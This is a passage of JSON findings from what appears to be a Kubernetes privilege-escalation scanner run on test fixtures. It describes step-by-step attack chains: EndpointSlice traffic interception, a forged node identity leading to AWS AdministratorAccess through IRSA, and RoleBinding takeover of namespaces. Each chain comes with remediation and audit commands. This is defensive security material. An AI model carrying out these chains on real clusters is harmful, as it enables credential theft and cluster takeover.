    "description": "Subject `ServiceAccount/hookbackend-fixtures/hookbackend-slicer` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/hookbackend-fixtures/hookbackend-slicer` → `/` via `endpointslice_write` (get,list,create endpointslices): can add or rewrite EndpointSlices for Services in hookbackend-fixtures, steering their traffic to addresses it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "hookbackend-slicer",
      "namespace": "hookbackend-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/hookbackend-fixtures/hookbackend-slicer` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/hookbackend-fixtures/hookbackend-slicer`.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-slicer`, the attacker writes EndpointSlices (`get,list,create endpointslices`) for a Service. kube-proxy consumes every slice that carries the Service's `kubernetes.io/service-name` label, whatever its `managed-by` label says, and the EndpointSlice controller reconciles only the slices it manages, so a slice the attacker adds survives and receives its share of the Service's traffic. Clients resolve the Service name as before, and part of their connections reach the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. endpointslice_write [get,list,create endpointslices]"
      ],
      "first_action": "endpointslice_write",
      "hop_count": 1,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "endpointslice_write"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the permission `get,list,create endpointslices` that enables the first hop (`ServiceAccount/hookbackend-fixtures/hookbackend-slicer` → `/`).",
    "remediation_steps": [
      "Break the chain at: remove the permission `get,list,create endpointslices` that enables the first hop (`ServiceAccount/hookbackend-fixtures/hookbackend-slicer` → `/`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "endpointslice_write",
        "technique": "KUBE-PRIVESC-021",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-slicer",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,create endpointslices",
        "gains": "can add or rewrite EndpointSlices for Services in hookbackend-fixtures, steering their traffic to addresses it chooses",
        "source_binding": "hookbackend-slicer",
        "source_role": "hookbackend-slicer",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/nodeid-fixtures/nodeid-joiner:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.3,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (3 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there\n  3. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/nodeid-fixtures/nodeid-joiner`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/cloud-eks-test/eks-admin-irsa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/cloud-eks-test/eks-admin-irsa`.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 3,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/rbac-fixtures/sa-token-create:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.3,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-token-create` can reach **namespace-admin in `cutres`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cutres/cutres-detour` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount cutres/cutres-detour\n  2. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-token-create` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-token-create` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/cutres/cutres-detour`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "cutres",
      "techniques": [
        "token_request",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:rbac-fixtures:sa-token-create` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount cutres/cutres-detour",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/rbac-fixtures/sa-token-create:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.3,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-token-create` can reach **namespace-admin in `deepchain-tenant`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/deepchain-tenant/deepchain-binder` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount deepchain-tenant/deepchain-binder\n  2. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-token-create` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-token-create` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/deepchain-tenant/deepchain-binder`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "token_request",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:rbac-fixtures:sa-token-create` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
